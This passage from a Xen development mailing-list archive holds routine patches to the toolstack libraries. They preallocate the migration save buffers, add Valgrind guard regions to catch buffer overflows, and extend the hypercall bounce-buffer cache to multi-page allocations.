-    void **local_pages = NULL;
-    int *errors = NULL, rc = -1;
+    int rc = -1;
     unsigned int i, p, nr_pages = 0, nr_pages_mapped = 0;
     unsigned int nr_pfns = ctx->save.nr_batch_pfns;
     void *page, *orig_page;
-    uint64_t *rec_pfns = NULL;
-    struct iovec *iov = NULL; int iovcnt = 0;
+    int iovcnt = 0;
     xen_pfn_t *const batch_pfns = ctx->save.buffers->batch_pfns;
     struct {
         struct xc_sr_rhdr rec;
@@ -110,28 +107,21 @@ static int write_batch(struct xc_sr_context *ctx)
         },
     };
 
-    assert(nr_pfns != 0);
-    assert(nr_pfns <= MAX_BATCH_SIZE);
-
     /* Mfns of the batch pfns. */
-    mfns = malloc(nr_pfns * sizeof(*mfns));
+    xen_pfn_t *const mfns = ctx->save.buffers->mfns;
     /* Types of the batch pfns. */
-    types = malloc(nr_pfns * sizeof(*types));
+    xen_pfn_t *const types = ctx->save.buffers->types;
     /* Errors from attempting to map the gfns. */
-    errors = malloc(nr_pfns * sizeof(*errors));
+    int *const errors = ctx->save.buffers->errors;
     /* Pointers to locally allocated pages.  Need freeing. */
-    local_pages = calloc(nr_pfns, sizeof(*local_pages));
+    void **const local_pages = ctx->save.buffers->local_pages;
     /* iovec[] for writev(). */
-    iov = malloc((nr_pfns + 2) * sizeof(*iov));
+    struct iovec *const iov = ctx->save.buffers->iov;
     /* page_data record PFNs list */
-    rec_pfns = malloc(nr_pfns * sizeof(*rec_pfns));
+    uint64_t *const rec_pfns = ctx->save.buffers->rec_pfns;
 
-    if ( !mfns || !types || !errors || !local_pages || !iov || !rec_pfns )
-    {
-        ERROR("Unable to allocate arrays for a batch of %u pages",
-              nr_pfns);
-        goto err;
-    }
+    assert(nr_pfns != 0);
+    assert(nr_pfns <= MAX_BATCH_SIZE);
 
     iov[0].iov_base = &hdrs;
     iov[0].iov_len = sizeof(hdrs);
@@ -249,14 +239,11 @@ static int write_batch(struct xc_sr_context *ctx)
  err:
     if ( guest_mapping )
         xenforeignmemory_unmap(xch->fmem, guest_mapping, nr_pages_mapped);
-    for ( i = 0; local_pages && i < nr_pfns; ++i )
+    for ( i = 0; i < nr_pfns; ++i )
+    {
         free(local_pages[i]);
-    free(rec_pfns);
-    free(iov);
-    free(local_pages);
-    free(errors);
-    free(types);
-    free(mfns);
+        local_pages[i] = NULL;
+    }
 
     return rc;
 }
@@ -790,8 +777,8 @@ static int setup(struct xc_sr_context *ctx)
 
     if ( !ctx->save.buffers || !dirty_bitmap || !ctx->save.deferred_pages )
     {
-        ERROR("Unable to allocate memory for dirty bitmaps, batch pfns and"
-              " deferred pages");
+        ERROR("Unable to allocate memory for dirty bitmaps, deferred pages"
+              " and various batch buffers");
         rc = -1;
         errno = ENOMEM;
         goto err;
-- 
2.43.0



From xen-devel-bounces@lists.xenproject.org Mon Jul 13 20:48:23 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 13 Jul 2026 20:48:23 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1361931.1613984 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wjNZX-000603-95; Mon, 13 Jul 2026 20:48:15 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1361931.1613984; Mon, 13 Jul 2026 20:48:15 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wjNZX-0005zo-3u; Mon, 13 Jul 2026 20:48:15 +0000
Received: by outflank-mailman (input) for mailman id 1361931;
 Mon, 13 Jul 2026 20:48:13 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <freddy77@gmail.com>) id 1wjNZV-0005P5-LY
 for xen-devel@lists.xenproject.org; Mon, 13 Jul 2026 20:48:13 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wjNZV-00EnAW-2c
 for xen-devel@lists.xenproject.org; Mon, 13 Jul 2026 22:48:13 +0200
Received: from [10.42.69.9] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <freddy77@gmail.com>)
 id 6a554ea5-2eae-0a2a0a5409dd-0a2a4509816e-38
 for <xen-devel@lists.xenproject.org>; Mon, 13 Jul 2026 22:48:13 +0200
Received: from [209.85.128.45] (helo=mail-wm1-f45.google.com)
 by tlsNG-bad1c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.2)
 (envelope-from <freddy77@gmail.com>)
 id 6a554f0c-b440-0a2a45090019-d155802dcc88-3
 for <xen-devel@lists.xenproject.org>; Mon, 13 Jul 2026 22:48:13 +0200
Received: by mail-wm1-f45.google.com with SMTP id
 5b1f17b1804b1-493ec555a26so23344225e9.0
 for <xen-devel@lists.xenproject.org>; Mon, 13 Jul 2026 13:48:12 -0700 (PDT)
Received: from localhost.localdomain (2.115.147.147.dyn.plus.net.
 [147.147.115.2]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-49508724786sm23924255e9.3.2026.07.13.13.48.11
 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);
 Mon, 13 Jul 2026 13:48:11 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:Cc:To:From"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1783975692; x=1784580492; darn=lists.xenproject.org;
        h=content-transfer-encoding:mime-version:references:in-reply-to
         :message-id:date:subject:cc:to:from:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=ch0w6GZSKmn/pD177LTY+dgX+ATbp49+AP+ziJtpRo4=;
        b=DoFUHvUv1Yz8IcnR9ua60g+CflresRB9sgbfkNas20lzhd9mkT9Xn2VEOJUIiOlFzH
         abMhEZNJ2W7oSJJJ2FjEKYFpcSoYGN1JWRtk3ajti3hrKgCHDm/gMAVd+saMkj6WtDhF
         lMj/V6ysFtCmaNNb8SWgPpzFenxeo3jdXAsX3QqavyiFminLkq9JMQ4Eqj3oP7odcKqV
         lLK9+owhZ5BZ4QBqHLA+NHc6kuTy7i8pKdunok49i+kKEKOyn0JTa+EoGm1Yn3Ku669C
         xizzUyw2sP9/6xFVadVJ+mXxV9KvOqVlpCv9ZzkZkgXwnGnc03a60aFAMWEgRKPF4NPJ
         rbVQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783975692; x=1784580492;
        h=content-transfer-encoding:mime-version:references:in-reply-to
         :message-id:date:subject:cc:to:from:x-gm-gg:x-gm-message-state:from
         :to:cc:subject:date:message-id:reply-to:content-type;
        bh=ch0w6GZSKmn/pD177LTY+dgX+ATbp49+AP+ziJtpRo4=;
        b=OPMWRTYd/339HaxE/uvA6uTj0WyBPFMo/5GqxWG29oSZ8wBDSdWm+6ZCZUA8Uvtu+B
         UVRVz7qcwBqGjrV+EteSnZRGrvDA9Zx+z3Uu7nRQV2JVL3lla7wyfrIpEJhk5K4kuPJK
         XrFWvJ/Ja/t/hveO2RR78Dz3vu/xWLYEjIBXBBvQijbIlidOerL4hmIgWLFajwbYTLpJ
         Vjw+fuYemNFjj8+5Mzg7A3NZJZK+gHSRPUVWsCw/ljy70XF2H/+7VZ9fJ8Lzp/dI3dxd
         fUYXRrb8hVqCfdHGDiDixFw8eRNZSlwqynRrpGma1fwGGvXeu2kLrimwd5Fi9ykw8lMU
         15Hw==
X-Gm-Message-State: AOJu0Yy6du0chR8NcYjCQt67QhJZuaMKgRkZazHevD+EZvskygnaf4C1
	yJ9Rg8vjj427VRp5rGSqRA9PmiMapGvlChOWd0XKEuiyPjSzbtkNNmClB7vXmqbzbjLrLQ==
X-Gm-Gg: AfdE7cmUpYizt1XYz5Eu2SlTKiHQscCi5Uaz1/yx+ji7rRpLiNsMUGxO6aP5zKv9xwP
	Sg8fjr2FCRD/HUF5QJFj8f86/gn0rsnT/kI1VhimAM1vZlyHe6GsRSvn02V4uJZjYMSM2U8IW00
	D/5D0cKpCxAeB9fXuXxTDBw+vHIIFpzH6+OD+a6LwQOeAtdyUJ3lXA9KBJv0KldLeeIWDOfa/Up
	Qak9STBV5W0vzIjzjMBjdW5LrbZTv/KjMibY92hfFJr8fDImOqQ9Yhs5i+zh2Dv7aNSa2p041NK
	Wh0KaT60mD/PR5gN8AA2FhmLTn0ywbacXorXoRxrvi33fEtR/J1AUYKYkwunveTTxt379jIqc8S
	SFiTvI8hGD/3KQ5aFECl7a5nAIbESwjh6OGHeRWRskHPA3XwI5qJYtHdowvWTNiRGO8bRTKTMrf
	TNlNUAfr9uqxd5DRo/9FDVJkxV18+NXbhyd+OjM84QW38/BcxU/NwxDGGruSMEVJVReqpLMxzRj
	p7uG1d8yW5Z5z8H7Ss=
X-Received: by 2002:a05:600c:1f91:b0:493:e79e:daa6 with SMTP id 5b1f17b1804b1-493f8826e69mr103268785e9.33.1783975692202;
        Mon, 13 Jul 2026 13:48:12 -0700 (PDT)
From: Frediano Ziglio <freddy77@gmail.com>
X-Google-Original-From: Frediano Ziglio <frediano.ziglio@citrix.com>
To: xen-devel@lists.xenproject.org
Cc: Frediano Ziglio <frediano.ziglio@citrix.com>,
	Jan Beulich <jbeulich@suse.com>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger.pau@citrix.com>,
	Teddy Astie <teddy.astie@vates.tech>,
	Anthony PERARD <anthony.perard@vates.tech>,
	Juergen Gross <jgross@suse.com>
Subject: [PATCH v9 4/4] libs/guest: use Valgrind to detect various buffer overflows
Date: Mon, 13 Jul 2026 21:48:02 +0100
Message-ID: <20260713204802.105115-5-frediano.ziglio@citrix.com>
X-Mailer: git-send-email 2.43.0
In-Reply-To: <20260713204802.105115-1-frediano.ziglio@citrix.com>
References: <20260713204802.105115-1-frediano.ziglio@citrix.com>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-bad1c0/1783975693-55971A0B-242463AA/0/0
X-purgate-type: clean
X-purgate-size: 3522

Previously this was done as buffers were allocated separately.

Signed-off-by: Frediano Ziglio <frediano.ziglio@citrix.com>
---
 tools/libs/ctrl/xc_private.h    |  8 ++++++++
 tools/libs/guest/xg_sr_common.h |  8 ++++++++
 tools/libs/guest/xg_sr_save.c   | 13 +++++++++++++
 3 files changed, 29 insertions(+)

diff --git a/tools/libs/ctrl/xc_private.h b/tools/libs/ctrl/xc_private.h
index 8a325c17b0..bef96521c3 100644
--- a/tools/libs/ctrl/xc_private.h
+++ b/tools/libs/ctrl/xc_private.h
@@ -45,8 +45,16 @@
 #if defined(HAVE_VALGRIND_MEMCHECK_H) && !defined(NDEBUG) && !defined(__MINIOS__)
 /* Compile in Valgrind client requests? */
 #include <valgrind/memcheck.h>
+#define MEM_NOACCESS_BUFFER(name, size) uint8_t name[size];
+#define MEM_NOACCESS_INIT(field) \
+    VALGRIND_MAKE_MEM_NOACCESS(field, sizeof(field))
+#define MEM_UNDEFINED_INIT(field) \
+    VALGRIND_MAKE_MEM_UNDEFINED(field, sizeof(field))
 #else
 #define VALGRIND_MAKE_MEM_UNDEFINED(addr, len) /* addr, len */
+#define MEM_NOACCESS_BUFFER(name, size)
+#define MEM_NOACCESS_INIT(field) do {} while(0)
+#define MEM_UNDEFINED_INIT(field) do {} while(0)
 #endif
 
 #if defined(__MINIOS__)
diff --git a/tools/libs/guest/xg_sr_common.h b/tools/libs/guest/xg_sr_common.h
index c07c6db59e..d3fc7f363e 100644
--- a/tools/libs/guest/xg_sr_common.h
+++ b/tools/libs/guest/xg_sr_common.h
@@ -245,13 +245,21 @@ struct xc_sr_context
             xc_hypercall_buffer_t dirty_bitmap_hbuf;
             struct xc_sr_context_save_buffers
             {
+                MEM_NOACCESS_BUFFER(na0, 16);
                 xen_pfn_t batch_pfns[MAX_BATCH_SIZE];
+                MEM_NOACCESS_BUFFER(na1, 16);
                 xen_pfn_t mfns[MAX_BATCH_SIZE];
+                MEM_NOACCESS_BUFFER(na2, 16);
                 xen_pfn_t types[MAX_BATCH_SIZE];
+                MEM_NOACCESS_BUFFER(na3, 16);
                 void *local_pages[MAX_BATCH_SIZE];
+                MEM_NOACCESS_BUFFER(na4, 16);
                 struct iovec iov[MAX_BATCH_SIZE + 2]; /* Headers + data. */
+                MEM_NOACCESS_BUFFER(na5, 16);
                 uint64_t rec_pfns[MAX_BATCH_SIZE];
+                MEM_NOACCESS_BUFFER(na6, 16);
                 int errors[MAX_BATCH_SIZE];
+                MEM_NOACCESS_BUFFER(na7, 16);
             } *buffers;
         } save;
 
diff --git a/tools/libs/guest/xg_sr_save.c b/tools/libs/guest/xg_sr_save.c
index 6a77e33a47..25561e369f 100644
--- a/tools/libs/guest/xg_sr_save.c
+++ b/tools/libs/guest/xg_sr_save.c
@@ -123,6 +123,11 @@ static int write_batch(struct xc_sr_context *ctx)
     assert(nr_pfns != 0);
     assert(nr_pfns <= MAX_BATCH_SIZE);
 
+    MEM_UNDEFINED_INIT(ctx->save.buffers->mfns);
+    MEM_UNDEFINED_INIT(ctx->save.buffers->types);
+    MEM_UNDEFINED_INIT(ctx->save.buffers->iov);
+    MEM_UNDEFINED_INIT(ctx->save.buffers->rec_pfns);
+
     iov[0].iov_base = &hdrs;
     iov[0].iov_len = sizeof(hdrs);
 
@@ -783,6 +788,14 @@ static int setup(struct xc_sr_context *ctx)
         errno = ENOMEM;
         goto err;
     }
+    MEM_NOACCESS_INIT(ctx->save.buffers->na0);
+    MEM_NOACCESS_INIT(ctx->save.buffers->na1);
+    MEM_NOACCESS_INIT(ctx->save.buffers->na2);
+    MEM_NOACCESS_INIT(ctx->save.buffers->na3);
+    MEM_NOACCESS_INIT(ctx->save.buffers->na4);
+    MEM_NOACCESS_INIT(ctx->save.buffers->na5);
+    MEM_NOACCESS_INIT(ctx->save.buffers->na6);
+    MEM_NOACCESS_INIT(ctx->save.buffers->na7);
 
     rc = 0;
 
-- 
2.43.0



From xen-devel-bounces@lists.xenproject.org Mon Jul 13 20:48:23 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 13 Jul 2026 20:48:23 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1361929.1613956 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wjNZV-0005My-CA; Mon, 13 Jul 2026 20:48:13 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1361929.1613956; Mon, 13 Jul 2026 20:48:13 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wjNZV-0005Mr-7o; Mon, 13 Jul 2026 20:48:13 +0000
Received: by outflank-mailman (input) for mailman id 1361929;
 Mon, 13 Jul 2026 20:48:12 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <freddy77@gmail.com>) id 1wjNZT-00059x-Rr
 for xen-devel@lists.xenproject.org; Mon, 13 Jul 2026 20:48:11 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wjNZS-00FW6X-IN
 for xen-devel@lists.xenproject.org; Mon, 13 Jul 2026 22:48:10 +0200
Received: from [10.42.69.12] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <freddy77@gmail.com>)
 id 6a554ed4-5cb7-0a2a0a5109dd-0a2a450cb27e-30
 for <xen-devel@lists.xenproject.org>; Mon, 13 Jul 2026 22:48:10 +0200
Received: from [209.85.128.53] (helo=mail-wm1-f53.google.com)
 by tlsNG-d25034.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.2)
 (envelope-from <freddy77@gmail.com>)
 id 6a554f08-e897-0a2a450c0019-d1558035b036-3
 for <xen-devel@lists.xenproject.org>; Mon, 13 Jul 2026 22:48:09 +0200
Received: by mail-wm1-f53.google.com with SMTP id
 5b1f17b1804b1-493b1710405so19353945e9.2
 for <xen-devel@lists.xenproject.org>; Mon, 13 Jul 2026 13:48:09 -0700 (PDT)
Received: from localhost.localdomain (2.115.147.147.dyn.plus.net.
 [147.147.115.2]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-49508724786sm23924255e9.3.2026.07.13.13.48.06
 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);
 Mon, 13 Jul 2026 13:48:07 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:Content-Type:MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:Cc:To:From"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1783975688; x=1784580488; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:mime-version:references
         :in-reply-to:message-id:date:subject:cc:to:from:from:to:cc:subject
         :date:message-id:reply-to:content-type;
        bh=wimWBVOYQqwPaXI8zWtV5Ue4b9r9c1tb/eSNhf7mAu8=;
        b=p5bS73IUQcRSU3oHBOSWwISXFxYSHtz5P+sL1XWoivaFnyl0oOUmkqdQwhlMMfUohH
         uUr7bO+u4Uqme/Se4P/DmSctrAjhaJ801F3wE7GAUM6dXjCKWdroMGwLvfUQz8fl6ni2
         AGoQskVCyvpRSE+3arVoIGVIAymGCHAKNbe5Q0mY6BRr1JqU1cOsunITyqBNAo65lfU/
         rk+BeTeSTajYob2KCQ2t4tEtket0hK1KHKRkWl8GC7jMwMGhWUgOCjq7EwQKOUm51WaN
         nspvihu1QobN2nMbM0ohaT6EYZAnE/oBRijjH+fsDRq8qH7inL6t7wsufZU/eLOb15gd
         038g==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783975688; x=1784580488;
        h=content-transfer-encoding:content-type:mime-version:references
         :in-reply-to:message-id:date:subject:cc:to:from:x-gm-gg
         :x-gm-message-state:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=wimWBVOYQqwPaXI8zWtV5Ue4b9r9c1tb/eSNhf7mAu8=;
        b=RaP8xZqkHEBH46HZ/moFISpuIpGHIyMO4tdVZFURHLHZPRttW/AhoXyFUauwDC2J+5
         6bfqe+2+0GdpJREzqfbapjH520aiTVdmPZYm2y7FPBc/6eeo6HY2OAVp9HoSvkED8h+8
         oofPpLWSW+wFob/V6EPHtZxip93dicCx5kYxqTNw4c48a1E3iyfMqU8Ys30uZwmAgeQ5
         FrrAIW6lHPH+cJF0KBL2aoP2UZvBckv/gmAokJZpUpfPXXTkSekigBIysfzqnZ9RxFrw
         KcMKAJ5USm0jmDRv5MasHRsm579BSL8ebmFGx5EFn/VEqCTaarJ8NjYDJVWddxjf1/zw
         DUdw==
X-Gm-Message-State: AOJu0YxPJksb2iDYdLIc3ivwL7rCBUz4FBkREa+OKlDy25EOALKFqNoe
	hwRadVmUixrSm8x6hsDN5ObAiGrGfWCLnteFyrjhaHHEJcNV7/3LH81HwFxttX1bNCY=
X-Gm-Gg: AfdE7clccAQILj60TqSiu+pz9SidJmvdb2ZeGNx3EwHGDVb9lySNXOPhLNGYO9s5IKl
	JnX/deaPIKAokn4JOgj2Qwu6F3f89rZ280/p4QhiFNoMmCo2ZPe5Ws7fap4Nf1RQOHZqvu5UtNU
	W7GcRFb/EWgLjFkJnhpOttd3CMygHsnWbIucMdCdtXww1cptCSGF+3/rJblflfMHJzoGipvw1v6
	8/yZkSI+I0Bw1JfjJ2swdtzj67z7Qn/jbu7qZY5W7A4VGJFwxUGYgjo7tGFulMZDt3NDVe1IYoS
	TJWUzvvZhI8BPHJ3EnjQLws7Tym7GaDXHiSwP0yXGtiKapHx6lDfy6HkqIxKkHTrcStOaaLRclI
	W/iOBkfZ0So+SkUjCwjnt+ObpOHaR0cv9Q0q6Bsc19kH18OpPCxG17ePkrmTU1gP1XuKldRx6yt
	sgqwGuldbb5YkN7HaWj/pmPjUF2TmL5B1J3V7ysFeQdapc60vsSabbUyjpGc5onzv0+ybl0Um3Q
	owe31zTDcFsuUoZDck=
X-Received: by 2002:a05:600c:8119:b0:493:f744:e7d5 with SMTP id 5b1f17b1804b1-49518324f47mr8276255e9.38.1783975688441;
        Mon, 13 Jul 2026 13:48:08 -0700 (PDT)
From: Frediano Ziglio <freddy77@gmail.com>
X-Google-Original-From: Frediano Ziglio <frediano.ziglio@citrix.com>
To: xen-devel@lists.xenproject.org
Cc: =?UTF-8?q?Edwin=20T=C3=B6r=C3=B6k?= <edwin.torok@citrix.com>,
	Jan Beulich <jbeulich@suse.com>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger.pau@citrix.com>,
	Teddy Astie <teddy.astie@vates.tech>,
	Anthony PERARD <anthony.perard@vates.tech>,
	Juergen Gross <jgross@suse.com>,
	Frediano Ziglio <frediano.ziglio@citrix.com>
Subject: [PATCH v9 1/4] libs/call: cache up to 4 pages in hypercall bounce buffers
Date: Mon, 13 Jul 2026 21:47:59 +0100
Message-ID: <20260713204802.105115-2-frediano.ziglio@citrix.com>
X-Mailer: git-send-email 2.43.0
In-Reply-To: <20260713204802.105115-1-frediano.ziglio@citrix.com>
References: <20260713204802.105115-1-frediano.ziglio@citrix.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-d25034/1783975689-452FA6B2-A076A490/0/0
X-purgate-type: clean
X-purgate-size: 5706

From: Edwin TÃ¶rÃ¶k <edwin.torok@citrix.com>

During migration there are a lot of mmap/munmap calls,
because xc_get_pfn_type_batch() exceeds the default hypercall bounce
buffer cache size, and needs to allocate every time it is called.

munmap() is slow, especially in a PV Dom0 (takes an emulation fault),
so is best avoided.

Eventually it'd be good if the memory pool from  xmalloc_tlsf.c
was reused here, but for now make it handle the commonly encountered
sizes (so far up to 4 pages).

Signed-off-by: Edwin TÃ¶rÃ¶k <edwin.torok@citrix.com>
Signed-off-by: Frediano Ziglio <frediano.ziglio@citrix.com>
Reviewed-by: Anthony PERARD <anthony.perard@vates.tech>
---
Changes since v2:
- change prefix in subject.

Changes since v4:
- fix off-by-one bug.

Changes since v5:
- avoids potential buffer underflow if nr_pages is 0 calling cache_alloc.

Changes since v6:
- align changes made to cache_alloc to cache_free.

Changes since v7:
- use "unsigned int" instead of "unsigned".

Changes since v8:
- added Reviewed-by.
---
 tools/libs/call/buffer.c  | 34 +++++++++++++++++++++++-----------
 tools/libs/call/core.c    |  3 ++-
 tools/libs/call/private.h |  8 +++++---
 3 files changed, 30 insertions(+), 15 deletions(-)

diff --git a/tools/libs/call/buffer.c b/tools/libs/call/buffer.c
index 155e4f9d43..b7d00185c4 100644
--- a/tools/libs/call/buffer.c
+++ b/tools/libs/call/buffer.c
@@ -49,6 +49,9 @@ static void *cache_alloc(xencall_handle *xcall, size_t nr_pages)
 {
     void *p = NULL;
 
+    if ( nr_pages == 0 )
+        return NULL;
+
     cache_lock(xcall);
 
     xcall->buffer_total_allocations++;
@@ -56,13 +59,13 @@ static void *cache_alloc(xencall_handle *xcall, size_t nr_pages)
     if ( xcall->buffer_current_allocations > xcall->buffer_maximum_allocations )
         xcall->buffer_maximum_allocations = xcall->buffer_current_allocations;
 
-    if ( nr_pages > 1 )
+    if ( nr_pages > ARRAY_SIZE(xcall->buffer_cache) )
     {
         xcall->buffer_cache_toobig++;
     }
-    else if ( xcall->buffer_cache_nr > 0 )
+    else if ( xcall->buffer_cache_nr[nr_pages-1] > 0 )
     {
-        p = xcall->buffer_cache[--xcall->buffer_cache_nr];
+        p = xcall->buffer_cache[nr_pages-1][--xcall->buffer_cache_nr[nr_pages-1]];
         xcall->buffer_cache_hits++;
     }
     else
@@ -79,15 +82,18 @@ static int cache_free(xencall_handle *xcall, void *p, size_t nr_pages)
 {
     int rc = 0;
 
+    if ( nr_pages == 0 )
+        return 0;
+
     cache_lock(xcall);
 
     xcall->buffer_total_releases++;
     xcall->buffer_current_allocations--;
 
-    if ( nr_pages == 1 &&
-         xcall->buffer_cache_nr < BUFFER_CACHE_SIZE )
+    if ( nr_pages && nr_pages <= ARRAY_SIZE(xcall->buffer_cache) &&
+         xcall->buffer_cache_nr[nr_pages-1] < BUFFER_CACHE_SIZE )
     {
-        xcall->buffer_cache[xcall->buffer_cache_nr++] = p;
+        xcall->buffer_cache[nr_pages-1][xcall->buffer_cache_nr[nr_pages-1]++] = p;
         rc = 1;
     }
 
@@ -108,17 +114,23 @@ void buffer_release_cache(xencall_handle *xcall)
     DBGPRINTF("current allocations:%d maximum allocations:%d",
               xcall->buffer_current_allocations,
               xcall->buffer_maximum_allocations);
-    DBGPRINTF("cache current size:%d",
-              xcall->buffer_cache_nr);
+    for ( unsigned int i = 0; i < ARRAY_SIZE(xcall->buffer_cache_nr); ++i )
+    {
+        DBGPRINTF("cache current size[%u pages]:%d", i+1,
+                xcall->buffer_cache_nr[i]);
+    }
     DBGPRINTF("cache hits:%d misses:%d toobig:%d",
               xcall->buffer_cache_hits,
               xcall->buffer_cache_misses,
               xcall->buffer_cache_toobig);
 
-    while ( xcall->buffer_cache_nr > 0 )
+    for ( unsigned int i = 0; i < ARRAY_SIZE(xcall->buffer_cache_nr); ++i )
     {
-        p = xcall->buffer_cache[--xcall->buffer_cache_nr];
-        osdep_free_pages(xcall, p, 1);
+        while ( xcall->buffer_cache_nr[i] > 0 )
+        {
+            p = xcall->buffer_cache[i][--xcall->buffer_cache_nr[i]];
+            osdep_free_pages(xcall, p, i + 1);
+        }
     }
 
     cache_unlock(xcall);
diff --git a/tools/libs/call/core.c b/tools/libs/call/core.c
index 02c4f8e1ae..dd8877c1a0 100644
--- a/tools/libs/call/core.c
+++ b/tools/libs/call/core.c
@@ -14,6 +14,7 @@
  */
 
 #include <stdlib.h>
+#include <string.h>
 
 #include "private.h"
 
@@ -44,7 +45,7 @@ xencall_handle *xencall_open(xentoollog_logger *logger, unsigned open_flags)
     xentoolcore__register_active_handle(&xcall->tc_ah);
 
     xcall->flags = open_flags;
-    xcall->buffer_cache_nr = 0;
+    memset(xcall->buffer_cache_nr, 0, sizeof(xcall->buffer_cache_nr));
 
     xcall->buffer_total_allocations = 0;
     xcall->buffer_total_releases = 0;
diff --git a/tools/libs/call/private.h b/tools/libs/call/private.h
index 9c3aa432ef..8e6a208975 100644
--- a/tools/libs/call/private.h
+++ b/tools/libs/call/private.h
@@ -31,13 +31,15 @@ struct xencall_handle {
     Xentoolcore__Active_Handle tc_ah;
 
     /*
-     * A simple cache of unused, single page, hypercall buffers
+     * A simple cache of unused, small, hypercall buffers
+     * buffer_cache[i]'s size is (i+1) pages
      *
      * Protected by a global lock.
      */
 #define BUFFER_CACHE_SIZE 4
-    int buffer_cache_nr;
-    void *buffer_cache[BUFFER_CACHE_SIZE];
+#define BUFFER_CACHE_NRPAGES 4
+    int buffer_cache_nr[BUFFER_CACHE_NRPAGES];
+    void *buffer_cache[BUFFER_CACHE_NRPAGES][BUFFER_CACHE_SIZE];
 
     /*
      * Hypercall buffer statistics. All protected by the global
-- 
2.43.0



From xen-devel-bounces@lists.xenproject.org Mon Jul 13 20:48:23 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 13 Jul 2026 20:48:23 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1361928.1613960 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wjNZV-0005PP-I1; Mon, 13 Jul 2026 20:48:13 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1361928.1613960; Mon, 13 Jul 2026 20:48:13 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
